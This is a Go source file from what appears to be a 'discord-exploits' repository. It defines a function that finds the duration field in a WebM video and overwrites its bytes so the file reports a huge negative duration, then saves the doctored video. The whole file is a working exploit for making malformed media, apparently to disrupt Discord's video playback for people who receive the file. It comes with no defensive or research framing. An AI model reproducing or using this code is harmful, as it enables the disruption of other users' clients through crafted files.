discord-exploits/exploits/negative-video.go
2021-01-11 12:21:44 +01:00

39 lines
803 B
Go

package exploits
import (
"bytes"
"fmt"
"io/ioutil"
"os"
"github.com/Schmenn/discord-exploits/modules"
)
// RunNegativeVideoTask edits file so it has got a huge negative duration
func RunNegativeVideoTask(fileName string) {
data, err := ioutil.ReadFile(fileName)
modules.Check(err)
index := bytes.Index(data, []byte("\x44\x89\x88"))
if index == -1 {
fmt.Println("could not find the part of the file that needs to be modified, exiting")
fmt.Println("are you sure the file is actually a webm?")
return
}
data[index+3] = 66
data[index+4] = 255
data[index+5] = 176
data[index+6] = 96
data[index+7] = 0
data[index+8] = 0
data[index+9] = 0
data[index+10] = 0
name := modules.CreateName("webm")
fmt.Println(name)
ioutil.WriteFile(name, data, os.FileMode(int(0777)))
}